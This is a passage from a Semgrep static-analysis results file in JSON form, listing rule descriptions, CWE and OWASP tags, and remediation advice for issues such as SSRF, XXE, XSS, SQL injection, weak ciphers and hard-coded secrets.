(SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.ssrf.http-ssrf-taint.http-ssrf-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Blowfish is a block cipher developed by Bruce Schneier. It is known to be susceptible to attacks when using weak keys.  The author has recommended that users of Blowfish move to newer algorithms such as AES. With the `cryptography` package it is recommended to use `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead."},"help":{"markdown":"Blowfish is a block cipher developed by Bruce Schneier. It is known to be susceptible to attacks when using weak keys.  The author has recommended that users of Blowfish move to newer algorithms such as AES. With the `cryptography` package it is recommended to use `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insecure-cipher-algorithms-blowfish.insecure-cipher-algorithm-blowfish)\n - [https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#weak-ciphers](https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#weak-ciphers)\n - [https://tools.ietf.org/html/rfc5469](https://tools.ietf.org/html/rfc5469)\n","text":"Blowfish is a block cipher developed by Bruce Schneier. It is known to be susceptible to attacks when using weak keys.  The author has recommended that users of Blowfish move to newer algorithms such as AES. With the `cryptography` package it is recommended to use `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insecure-cipher-algorithms-blowfish.insecure-cipher-algorithm-blowfish","id":"python.cryptography.security.insecure-cipher-algorithms-blowfish.insecure-cipher-algorithm-blowfish","name":"python.cryptography.security.insecure-cipher-algorithms-blowfish.insecure-cipher-algorithm-blowfish","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insecure-cipher-algorithms-blowfish.insecure-cipher-algorithm-blowfish"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure Kinesis stream is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure Kinesis stream is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-kinesis-stream-encrypted-with-cmk.aws-kinesis-stream-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure Kinesis stream is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-kinesis-stream-encrypted-with-cmk.aws-kinesis-stream-encrypted-with-cmk","id":"terraform.aws.security.aws-kinesis-stream-encrypted-with-cmk.aws-kinesis-stream-encrypted-with-cmk","name":"terraform.aws.security.aws-kinesis-stream-encrypted-with-cmk.aws-kinesis-stream-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-kinesis-stream-encrypted-with-cmk.aws-kinesis-stream-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"source_hash' is only available on Python 3.7+. This does not work in lower versions, and therefore is not backwards compatible. Instead, use another hash function."},"help":{"markdown":"source_hash' is only available on Python 3.7+. This does not work in lower versions, and therefore is not backwards compatible. Instead, use another hash function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-importlib)\n","text":"source_hash' is only available on Python 3.7+. This does not work in lower versions, and therefore is not backwards compatible. Instead, use another hash function."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-importlib","id":"python.lang.compatibility.python37.python37-compatibility-importlib","name":"python.lang.compatibility.python37.python37-compatibility-importlib","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-importlib"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Flask-Login provides session protection to help prevent user sessions from being stolen. When this is active, sessions will be marked as non-fresh when the user's IP or user agent is changed. It is not advised to disable this feature."},"help":{"markdown":"Flask-Login provides session protection to help prevent user sessions from being stolen. When this is active, sessions will be marked as non-fresh when the user's IP or user agent is changed. It is not advised to disable this feature.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-login-session-protection-none.flask-login-session-protection-none)\n - [https://flask-login.readthedocs.io/en/latest/#session-protection](https://flask-login.readthedocs.io/en/latest/#session-protection)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Flask-Login provides session protection to help prevent user sessions from being stolen. When this is active, sessions will be marked as non-fresh when the user's IP or user agent is changed. It is not advised to disable this feature."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-login-session-protection-none.flask-login-session-protection-none","id":"python.flask.web.flask-login-session-protection-none.flask-login-session-protection-none","name":"python.flask.web.flask-login-session-protection-none.flask-login-session-protection-none","properties":{"precision":"very-high","tags":["CWE-613: Insufficient Session Expiration","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-login-session-protection-none.flask-login-session-protection-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Django cookies should be handled securely by setting secure=True, httponly=True, and samesite='Lax' in response.set_cookie(...). If your situation calls for different settings, explicitly disable the setting. If you want to send the cookie over http, set secure=False. If you want to let client-side JavaScript read the cookie, set httponly=False. If you want to attach cookies to requests for external sites, set samesite=None."},"help":{"markdown":"Django cookies should be handled securely by setting secure=True, httponly=True, and samesite='Lax' in response.set_cookie(...). If your situation calls for different settings, explicitly disable the setting. If you want to send the cookie over http, set secure=False. If you want to let client-side JavaScript read the cookie, set httponly=False. If you want to attach cookies to requests for external sites, set samesite=None.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.secure-cookies.django-secure-set-cookie)\n - [https://docs.djangoproject.com/en/3.0/ref/request-response/#django.http.HttpResponse.set_cookie](https://docs.djangoproject.com/en/3.0/ref/request-response/#django.http.HttpResponse.set_cookie)\n - [https://semgrep.dev/blog/2020/bento-check-keeping-cookies-safe-in-flask/](https://semgrep.dev/blog/2020/bento-check-keeping-cookies-safe-in-flask/)\n - [https://bento.dev/checks/flask/secure-set-cookie/](https://bento.dev/checks/flask/secure-set-cookie/)\n","text":"Django cookies should be handled securely by setting secure=True, httponly=True, and samesite='Lax' in response.set_cookie(...). If your situation calls for different settings, explicitly disable the setting. If you want to send the cookie over http, set secure=False. If you want to let client-side JavaScript read the cookie, set httponly=False. If you want to attach cookies to requests for external sites, set samesite=None."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.secure-cookies.django-secure-set-cookie","id":"python.django.security.audit.secure-cookies.django-secure-set-cookie","name":"python.django.security.audit.secure-cookies.django-secure-set-cookie","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.secure-cookies.django-secure-set-cookie"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.gorilla.gorilla-cookie-store-hardcoded-session-key.gorilla-cookie-store-hardcoded-session-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.gorilla.gorilla-cookie-store-hardcoded-session-key.gorilla-cookie-store-hardcoded-session-key","id":"go.secrets.gorilla.gorilla-cookie-store-hardcoded-session-key.gorilla-cookie-store-hardcoded-session-key","name":"go.secrets.gorilla.gorilla-cookie-store-hardcoded-session-key.gorilla-cookie-store-hardcoded-session-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.gorilla.gorilla-cookie-store-hardcoded-session-key.gorilla-cookie-store-hardcoded-session-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.openai.openai-hardcoded-secret.openai-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.openai.openai-hardcoded-secret.openai-hardcoded-secret","id":"kotlin.openai.openai-hardcoded-secret.openai-hardcoded-secret","name":"kotlin.openai.openai-hardcoded-secret.openai-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.openai.openai-hardcoded-secret.openai-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-xml-decoder-deepsemgrep.tainted-xml-decoder-deepsemgrep)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-xml-decoder-deepsemgrep.tainted-xml-decoder-deepsemgrep","id":"java.servlets.security.tainted-xml-decoder-deepsemgrep.tainted-xml-decoder-deepsemgrep","name":"java.servlets.security.tainted-xml-decoder-deepsemgrep.tainted-xml-decoder-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-xml-decoder-deepsemgrep.tainted-xml-decoder-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Telegram Bot API Key detected"},"help":{"markdown":"Telegram Bot API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-telegram-bot-api-key.detected-telegram-bot-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Telegram Bot API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-telegram-bot-api-key.detected-telegram-bot-api-key","id":"generic.secrets.security.detected-telegram-bot-api-key.detected-telegram-bot-api-key","name":"generic.secrets.security.detected-telegram-bot-api-key.detected-telegram-bot-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-telegram-bot-api-key.detected-telegram-bot-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Potential cross site scripting (XSS) occurs due to untrusted input being loaded into a WebView. The impact of such issues can vary depending on the features, permissions and exposure of data & functionality that the WebView contains. For example, in some applications the presence of JavaScript bridges may allow for the instrumentation of application code, and potentially arbitrary code execution in the context of the app. In other instances, it may be possible to manipulate the DOM to redraw the UI and phish users, or conduct other typical XSS attacks."},"help":{"markdown":"Potential cross site scripting (XSS) occurs due to untrusted input being loaded into a WebView. The impact of such issues can vary depending on the features, permissions and exposure of data & functionality that the WebView contains. For example, in some applications the presence of JavaScript bridges may allow for the instrumentation of application code, and potentially arbitrary code execution in the context of the app. In other instances, it may be possible to manipulate the DOM to redraw the UI and phish users, or conduct other typical XSS attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-loadhtmlstring-xss.swift-webview-xss)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n","text":"Potential cross site scripting (XSS) occurs due to untrusted input being loaded into a WebView. The impact of such issues can vary depending on the features, permissions and exposure of data & functionality that the WebView contains. For example, in some applications the presence of JavaScript bridges may allow for the instrumentation of application code, and potentially arbitrary code execution in the context of the app. In other instances, it may be possible to manipulate the DOM to redraw the UI and phish users, or conduct other typical XSS attacks."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-loadhtmlstring-xss.swift-webview-xss","id":"swift.webview.webview-loadhtmlstring-xss.swift-webview-xss","name":"swift.webview.webview-loadhtmlstring-xss.swift-webview-xss","properties":{"precision":"very-high","tags":["CWE-79:Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-loadhtmlstring-xss.swift-webview-xss"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXParserFactory with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations for the SAXParserFactory also provide protection against XXE attacks. `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, enabling both of `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", and `factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. Furthermore, you can configure the SAXParser itself with `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` to provide protection against XXE attacks. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXParserFactory with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations for the SAXParserFactory also provide protection against XXE attacks. `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, enabling both of `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", and `factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. Furthermore, you can configure the SAXParser itself with `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` to provide protection against XXE attacks. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-saxparser-xxe-spring.tainted-saxparser-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXParserFactory with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations for the SAXParserFactory also provide protection against XXE attacks. `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, enabling both of `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", and `factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. Furthermore, you can configure the SAXParser itself with `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` to provide protection against XXE attacks. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-saxparser-xxe-spring.tainted-saxparser-xxe-spring","id":"java.spring.security.xxe.tainted-saxparser-xxe-spring.tainted-saxparser-xxe-spring","name":"java.spring.security.xxe.tainted-saxparser-xxe-spring.tainted-saxparser-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-saxparser-xxe-spring.tainted-saxparser-xxe-spring"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The libxml library processes user-input with the `noent` attribute is set to `true` which can lead to being vulnerable to XML External Entities (XXE) type attacks. It is recommended to set `noent` to `false` when using this feature to ensure you are protected."},"help":{"markdown":"The libxml library processes user-input with the `noent` attribute is set to `true` which can lead to being vulnerable to XML External Entities (XXE) type attacks. It is recommended to set `noent` to `false` when using this feature to ensure you are protected.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-libxml-noent.express-libxml-noent)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n","text":"The libxml library processes user-input with the `noent` attribute is set to `true` which can lead to being vulnerable to XML External Entities (XXE) type attacks. It is recommended to set `noent` to `false` when using this feature to ensure you are protected."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-libxml-noent.express-libxml-noent","id":"javascript.express.security.audit.express-libxml-noent.express-libxml-noent","name":"javascript.express.security.audit.express-libxml-noent.express-libxml-noent","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-libxml-noent.express-libxml-noent"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"CORS policy allows any origin (using wildcard '*'). This is insecure and should be avoided."},"help":{"markdown":"CORS policy allows any origin (using wildcard '*'). This is insecure and should be avoided.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.security.wildcard-cors.wildcard-cors)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://cwe.mitre.org/data/definitions/942.html](https://cwe.mitre.org/data/definitions/942.html)\n","text":"CORS policy allows any origin (using wildcard '*'). This is insecure and should be avoided."},"helpUri":"https://semgrep.dev/r/python.fastapi.security.wildcard-cors.wildcard-cors","id":"python.fastapi.security.wildcard-cors.wildcard-cors","name":"python.fastapi.security.wildcard-cors.wildcard-cors","properties":{"precision":"very-high","tags":["CWE-942: Permissive Cross-domain Policy with Untrusted Domains","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.security.wildcard-cors.wildcard-cors"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in an aiopg Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead. You can create parameterized queries like so: 'cur.execute(\"SELECT %s FROM table\", (user_value,))'."},"help":{"markdown":"Detected string concatenation with a non-literal variable in an aiopg Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead. You can create parameterized queries like so: 'cur.execute(\"SELECT %s FROM table\", (user_value,))'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.sqli.aiopg-sqli.aiopg-sqli)\n - [https://github.com/aio-libs/aiopg](https://github.com/aio-libs/aiopg)\n","text":"Detected string concatenation with a non-literal variable in an aiopg Python SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead. You can create parameterized queries like so: 'cur.execute(\"SELECT %s FROM table\", (user_value,))'."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.sqli.aiopg-sqli.aiopg-sqli","id":"python.lang.security.audit.sqli.aiopg-sqli.aiopg-sqli","name":"python.lang.security.audit.sqli.aiopg-sqli.aiopg-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.sqli.aiopg-sqli.aiopg-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a unescaped variables using '&attributes'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location."},"help":{"markdown":"Detected a unescaped variables using '&attributes'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.pug.and-attributes.template-and-attributes)\n - [https://pugjs.org/language/attributes.html#attributes](https://pugjs.org/language/attributes.html#attributes)\n","text":"Detected a unescaped variables using '&attributes'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.pug.and-attributes.template-and-attributes","id":"javascript.express.security.audit.xss.pug.and-attributes.template-and-attributes","name":"javascript.express.security.audit.xss.pug.and-attributes.template-and-attributes","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.pug.and-attributes.template-and-attributes"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep 